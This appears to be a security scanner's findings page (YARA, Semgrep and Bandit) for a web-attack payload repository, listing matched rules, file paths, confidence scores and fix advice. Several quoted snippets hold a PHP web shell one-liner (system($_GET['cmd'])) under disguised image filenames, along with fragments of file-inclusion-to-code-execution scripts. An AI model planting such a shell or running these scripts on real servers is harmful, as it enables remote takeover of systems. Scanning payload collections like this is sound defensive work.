YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Prompt Injection/README.md
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/XSSDetection.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/XSS_Polyglots.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/JHADDIX_XSS.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/README.md
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/2 - XSS Polyglot.md
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/IntrudersXSS.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/xss_alert.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/xss_alert_identifiable.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/1 - XSS Filter Bypass.md
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/RSNAKE_XSS.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Intruders/JHADDIX_LFI.txt
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /SQL Injection/SQLite Injection.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Intruders/List_Of_File_To_Include.txt
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Intruders/Linux-files.txt
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png^shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.gif^shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpeg.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg^shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.phtml line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.gif^shell.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpeg.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg^shell.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.phtml line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png^shell.php line 1
- Likely real
- Yes, 100% confidence
User input is passed to a function that executes a shell command. This can lead to remote code execution.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/check-markdown.yml line 8
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/check-markdown.yml line 12
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: tj-actions/changed-files@v47 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/check-markdown.yml line 18
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: DavidAnson/markdownlint-cli2-action@v24 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/mkdocs-build.yml line 11
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/mkdocs-build.yml line 16
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/mkdocs-build.yml line 26
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v6 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/overrides/main.html line 17
- Likely real
- Uncertain, 36% confidence
This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/overrides/main.html line 16
- Likely real
- Uncertain, 36% confidence
This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.
<script async src="https://static.addtoany.com/menu/page.js"></script> -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /File Inclusion/Files/uploadlfi.py line 11
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
10 for _ in range(4096 * 4096): 11 requests.post('http://target.com/index.php?c=index.php', f) 12 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /File Inclusion/Files/uploadlfi.py line 17
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
16 url = 'http://target.com/index.php?c=/tmp/php' + fname 17 r = requests.get(url) 18 if 'load average' in r.text: # <?php echo system('uptime'); -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /File Inclusion/Files/LFI2RCE.py line 54
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
53 54 r = requests.get(url, params={ 55 "0": command, 56 "action": "include", 57 "file": final_payload 58 }) 59 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /File Inclusion/Files/uploadlfi.py line 11
- Likely real
- Uncertain, 32% confidence
Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.
requests.post('http://target.com/index.php?c=index.php', f) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /File Inclusion/Files/uploadlfi.py line 17
- Likely real
- Uncertain, 32% confidence
Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.
r = requests.get(url) -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Insecure Source Code Management/Git.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /CSV Injection/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /NoSQL Injection/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Prompt Injection/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Web Sockets/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /LDAP Injection/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Server Side Include Injection/Files/ssi_esi.txt
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_imageover_wget.gif
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Files/LFI2RCE.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Files/uploadlfi.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Command Injection/Intruder/command_exec.txt
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/LFI-to-RCE.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Server Side Request Forgery/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py line 44
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
43 def echo_block(block): 44 assert len(block) == 16 45 iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)])) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py line 75
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
74 else: 75 assert seq[cur_ind] & (64 + 128) == 128 76 cur_ind += (seq[cur_ind] & 63) + 3 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py line 78
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
77 path.append(cur_ind) 78 assert cur_ind == len(seq), "problem for path {}".format(path) 79 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py line 82
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
81 def echo_seq(s): 82 assert len(s) % 16 == 0 83 res = [] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py line 110
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
109 packet_size -= 16 110 assert packet_size > 0 111 part_size = min(packet_size, 64) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py line 148
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
147 args = parser.parse_args() 148 assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)" 149 content = gen_xbin_playlist(args.filename)
No findings match these filters.